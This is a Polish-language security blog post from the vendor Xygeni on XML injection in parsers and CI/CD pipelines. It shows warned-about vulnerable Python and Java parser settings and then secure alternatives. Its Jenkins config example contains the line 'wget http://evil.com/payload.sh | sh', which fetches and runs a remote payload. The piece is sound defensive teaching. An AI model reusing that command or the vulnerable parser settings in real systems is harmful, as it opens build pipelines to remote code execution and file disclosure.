Wstrzyknięcie XML – jak zapobiec wstrzyknięciu XML

Wstrzyknięcie XML: Jak atakujący łamią Twoje parsery

Jak wstrzykiwanie XML zmienia parsery w powierzchnie ataku

Programiści często nie zdają sobie sprawy, jak łatwo wstrzyknięcie XML może uszkodzić ich systemy. Jeśli zastanawiasz się, jak zapobiegać wstrzyknięciu XML, pierwszym krokiem jest zrozumienie, gdzie ono występuje. Domyślnie wiele parserów XML we współczesnych językach programowania jest podatnych na ataki. Przekazując dane wejściowe kontrolowane przez użytkownika do tych parserów, zwłaszcza bez odpowiedniego zabezpieczenia, zamieniasz prosty procesor XML w wektor ataku.

To właśnie sprawia, że ​​wstrzykiwanie XML jest tak niebezpieczne: nie opiera się na błędach w kodzie. Wykorzystuje sposób konfiguracji parsera lub jego błędną konfigurację. Zrozumienie, co to oznacza, oznacza, że ​​funkcje takie jak rozpoznawanie encji, zewnętrzne DTD i analiza XPath stają się ryzykowne.

Nie musisz jawnie analizować XML. Wstrzyknięcie jest widoczne w plikach konfiguracyjnych, pipeline definicje, artefakty testowe i narzędzia innych firm. Jeśli Twój CI/CD lub stos aplikacji zawiera jakikolwiek kod XML, musisz wiedzieć, jak temu zapobiec, zanim stanie się to problemem w łańcuchu dostaw.

Rzeczywiste wektory ataku polegającego na wstrzykiwaniu kodu XML w kodzie i Pipelines

Rzeczywiste luki w zabezpieczeniach XML, których nie dostrzegają programiści

Wstrzyknięcie XML często pozostaje niewykryty, ponieważ ukrywa się w zaufanych ścieżkach kodu:

  • Ekspansja podmiotu (miliard śmiechu):Wykorzystuje rekurencję parsera w celu powodowania awarii systemów.
  • Jednostki zewnętrzne (XXE):Odczytuje pliki lub uzyskuje dostęp do usług wewnętrznych.
  • Wstrzyknięcie XPath:Manipuluje logiką w zapytaniach opartych na XML.

Przykład Pythona (ryzyko XXE)

⚠️Ostrzeżenie: Kod ten pozwala na rozpoznawanie jednostek zewnętrznych, przez co jest podatny na ataki XXE.

				
					from lxml import etree
parser = etree.XMLParser(resolve_entities=True)
xml = etree.fromstring(user_input, parser)

				
			

Przykład Java (rozszerzenie encji)

⚠️Ostrzeżenie: Ten parser używa niebezpiecznych domyślnych ustawień, które mogą zostać wykorzystane.

				
					SAXParserFactory factory = SAXParserFactory.newInstance();
SAXParser parser = factory.newSAXParser();
parser.parse(inputStream, handler);

				
			

CI/CD Przykład:

⚠️Ostrzeżenie: Wstrzykiwanie niebezpiecznego kodu XML do pipeline Konfiguracje mogą prowadzić do wykorzystania luk w zabezpieczeniach.

				
					
<project>
<builders>
<hudson.tasks.Shell>
<command>wget http://evil.com/payload.sh | sh</command>
</hudson.tasks.Shell>
</builders>
</project>

				
			

Jeśli te dane wejściowe nie zostaną oczyszczone, otwierasz drzwi do wstrzyknięcia kodu XML do swojego stosu automatyzacji.

Dlaczego domyślne biblioteki XML są tak ważne CI/CD na ryzyko

Większość programistów nie wie, jak zapobiegać wstrzyknięciom XML, ponieważ nie zdają sobie sprawy, że ich narzędzia w ogóle wykorzystują XML. Popularne narzędzia, takie jak Maven, Jenkins i różne frameworki wdrożeniowe, nadal w dużym stopniu opierają się na XML.

CI/CD Punkty wtrysku:

  • Maven's pom.xml
  • Konfiguracje zadań Jenkinsa (config.xml)
  • Niestandardowe zasoby Kubernetes oparte na XML
  • Programy do uruchamiania testów w języku Python lub Java, które opierają się na raportach XML

Sytuację pogarsza fakt, że wiele bibliotek typu open source korzysta z parserów XML z niebezpiecznymi domyślnymi ustawieniami, co sprawia, że ​​ataki polegające na wstrzykiwaniu kodu XML stanowią realne zagrożenie.

⚠️ Ostrzeżenie: Trochę pipelines automatycznie analizuje dane XML z niezaufanych danych wejściowych (np. przesłanych artefaktów).

Po przeanalizowaniu składni XML zawierający niebezpieczne konstrukcje może on:

  • Dostęp do plików wewnętrznych
  • Wyzwalanie połączeń zdalnych
  • Modyfikuj zachowanie w pracy

Nie jesteś tylko narażony, ale także rozprzestrzeniasz powierzchnię ataku na wszystkich pipeline uruchomić.

⚠️Ostrzeżenie: Poniższe kroki serializacji i deserializacji dotyczą danych potencjalnie niepewnych, które nie są sprawdzane.

Jak zapobiegać wstrzyknięciom przy użyciu bezpiecznych konfiguracji parsera

Bezpieczne praktyki: Jak zapobiegać iniekcji

Aby zapobiec wstrzykiwaniu danych, należy zabezpieczyć parser XML przed przetworzeniem jakichkolwiek danych wejściowych.

Java

				
					// Secure XML parser config
SAXParserFactory factory = SAXParserFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);

				
			

Python

				
					# Safe alternative to vulnerable XML parsers
from defusedxml.ElementTree import fromstring
xml = fromstring(user_input) # Safe from XXE and entity expansion

				
			

CI/CD Pipeline

				
					- name: Scan XML inputs for DTDs
run: |
grep -r '<!DOCTYPE' . || echo "No unsafe XML detected"

				
			

Najlepsze praktyki: Zawsze skanuj i odrzucaj kod XML, który używa deklaracji DOCTYPE lub ENTITY, chyba że jest to wyraźnie konieczne. Te techniki są niezbędne, jeśli chcesz zatrzymać wstrzykiwanie i Zabezpiecz swój cykl życia DevOps.

Od błędnych konfiguracji do ryzyka w łańcuchu dostaw: rola Xygeni

Nie można zatrzymać wstrzykiwania XML, jeśli nie wiadomo, gdzie XML jest przetwarzany. To właśnie tam Xygeni robi różnicę.

Xygeni pomaga zespołom:

  • Mapowanie wykorzystania XML w bazach kodu, kompilacjach i środowiskach wykonawczych
  • Wykrywaj niebezpieczne konfiguracje parsera i ryzykowne przetwarzanie plików XML
  • Zidentyfikuj pakiety innych firm wprowadzające dyskretną analizę XML
  • Osadź bezpieczne zasady walidacji XML bezpośrednio w CI/CD pipelines

Nie chodzi tylko o łatanie parsera. Chodzi o to, aby nigdy więcej nie musieć pytać, jak to możliwe, że przegapiłeś wektor XML do wstrzyknięcia.

Blokowanie parserów: jak zapobiegać wstrzyknięciom XML w dowolnym miejscu

Wstrzyknięcie XML to poważne zagrożenie, nawet jeśli nie pracujesz bezpośrednio z XML. Często przedostaje się ono przez ustawienia domyślne, pakiety firm trzecich i pomijane części systemu. pipeline.

Aby się przed tym bronić:

  • Dowiedz się, jak i gdzie w stosie analizowany jest XML
  • Zastosuj wzmocnione konfiguracje i sprawdzone schematy
  • Monitorowanie pipelines dla niebezpiecznych struktur XML
  • Użyj Xygeni do wykrycia, śledzenia i naprawienia ekspozycji na wstrzyknięcie przed uwolnieniem

Jeśli jesteś poważny o DevSecOps, musisz poważnie podejść do kwestii wstrzykiwania. I musisz wiedzieć, jak zapobiegać wstrzykiwaniu XML na każdej warstwie stosu. Zabezpiecz swój XML. Zabezpiecz swój pipelines. Wyeliminuj ryzyko wstrzyknięcia kodu XML.

sca-tools-oprogramowanie-narzędzia-analizy-kompozycji
Określ priorytety, rozwiąż problemy i zabezpiecz zagrożenia związane z oprogramowaniem
Załóż darmowe konto.
Nie wymagamy karty kredytowej.

Zabezpiecz rozwój i dostarczanie oprogramowania

z pakietem produktów Xygeni